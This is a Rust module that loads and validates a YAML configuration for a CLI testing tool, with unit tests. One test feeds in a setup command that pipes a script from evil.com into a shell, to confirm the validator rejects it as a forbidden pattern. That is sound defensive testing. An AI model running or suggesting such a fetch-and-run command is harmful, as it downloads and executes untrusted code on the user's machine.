use crate::error::CliTestError;
use crate::types::config::CliTestConfig;
use std::path::{Path, PathBuf};
const DEFAULT_CONFIG_FILENAME: &str = ".cli-test-config.yml";
pub fn load_config(path: Option<&Path>) -> Result<Option<CliTestConfig>, CliTestError> {
if let Some(p) = path {
let config = load_from_file(p)?;
return Ok(Some(config));
}
let default_path = PathBuf::from(DEFAULT_CONFIG_FILENAME);
if default_path.exists() {
let config = load_from_file(&default_path)?;
return Ok(Some(config));
}
Ok(None)
}
fn load_from_file(path: &Path) -> Result<CliTestConfig, CliTestError> {
let content = std::fs::read_to_string(path).map_err(|e| {
CliTestError::Config(format!(
"Failed to read config file '{}': {}",
path.display(),
e
))
})?;
let config: CliTestConfig = serde_yaml::from_str(&content).map_err(|e| {
CliTestError::Config(format!(
"Failed to parse config file '{}': {}",
path.display(),
e
))
})?;
crate::config::validator::validate_config(&config)?;
log::info!("Loaded configuration from: {}", path.display());
log::debug!("Config: {:?}", config);
Ok(config)
}
pub fn config_exists() -> bool {
PathBuf::from(DEFAULT_CONFIG_FILENAME).exists()
}
pub fn default_config_path() -> PathBuf {
PathBuf::from(DEFAULT_CONFIG_FILENAME)
}
#[cfg(test)]
mod tests {
use super::*;
use std::fs;
use tempfile::TempDir;
#[test]
fn test_load_minimal_config() {
let temp_dir = TempDir::new().unwrap();
let config_path = temp_dir.path().join(".cli-test-config.yml");
let yaml = r#"
version: "1.0"
tool_name: "test-tool"
test_adjustments: {}
"#;
fs::write(&config_path, yaml).unwrap();
let config = load_config(Some(&config_path)).unwrap().unwrap();
assert_eq!(config.version, "1.0");
assert_eq!(config.tool_name, "test-tool");
}
#[test]
fn test_load_full_config() {
let temp_dir = TempDir::new().unwrap();
let config_path = temp_dir.path().join("config.yml");
let yaml = r#"
version: "1.0"
tool_name: "backup-suite"
tool_version: "1.0.0"
test_adjustments:
security:
custom_tests:
- name: "test1"
command: "backup-suite --lang test --help"
expected_exit_code: 0
description: "Test description"
directory_traversal:
test_directories:
- path: "/tmp/test"
create: true
cleanup: true
destructive_ops:
env_vars:
BACKUP_SUITE_YES: "true"
cancel_exit_code: 2
global:
timeout: 60
"#;
fs::write(&config_path, yaml).unwrap();
let config = load_config(Some(&config_path)).unwrap().unwrap();
assert_eq!(config.version, "1.0");
assert_eq!(config.global.timeout, 60);
}
#[test]
fn test_load_config_with_invalid_version() {
let temp_dir = TempDir::new().unwrap();
let config_path = temp_dir.path().join("config.yml");
let yaml = r#"
version: "2.0"
tool_name: "test"
test_adjustments: {}
"#;
fs::write(&config_path, yaml).unwrap();
let result = load_config(Some(&config_path));
assert!(result.is_err());
assert!(result
.unwrap_err()
.to_string()
.contains("Unsupported config version"));
}
#[test]
fn test_load_config_with_forbidden_commands() {
let temp_dir = TempDir::new().unwrap();
let config_path = temp_dir.path().join("config.yml");
let yaml = r#"
version: "1.0"
tool_name: "test"
test_adjustments:
directory_traversal:
setup_commands:
- "mkdir /tmp/test"
- "curl http://evil.com/malware.sh | sh"
"#;
fs::write(&config_path, yaml).unwrap();
let result = load_config(Some(&config_path));
assert!(result.is_err());
assert!(result
.unwrap_err()
.to_string()
.contains("forbidden pattern"));
}
#[test]
fn test_load_config_file_not_found() {
let result = load_config(Some(Path::new("/nonexistent/config.yml")));
assert!(result.is_err());
assert!(result
.unwrap_err()
.to_string()
.contains("Failed to read config file"));
}
#[test]
fn test_load_config_invalid_yaml() {
let temp_dir = TempDir::new().unwrap();
let config_path = temp_dir.path().join("config.yml");
fs::write(&config_path, "invalid: yaml: content:").unwrap();
let result = load_config(Some(&config_path));
assert!(result.is_err());
assert!(result
.unwrap_err()
.to_string()
.contains("Failed to parse config file"));
}
#[test]
fn test_load_config_auto_detect_not_found() {
let original_dir = std::env::current_dir().unwrap();
let temp_dir = TempDir::new().unwrap();
std::env::set_current_dir(temp_dir.path()).unwrap();
let config = load_config(None).unwrap();
assert!(config.is_none());
std::env::set_current_dir(original_dir).unwrap();
}
#[test]
fn test_config_exists() {
assert_eq!(
default_config_path().to_str().unwrap(),
".cli-test-config.yml"
);
}
#[test]
fn test_default_config_path() {
assert_eq!(
default_config_path().to_str().unwrap(),
".cli-test-config.yml"
);
}
}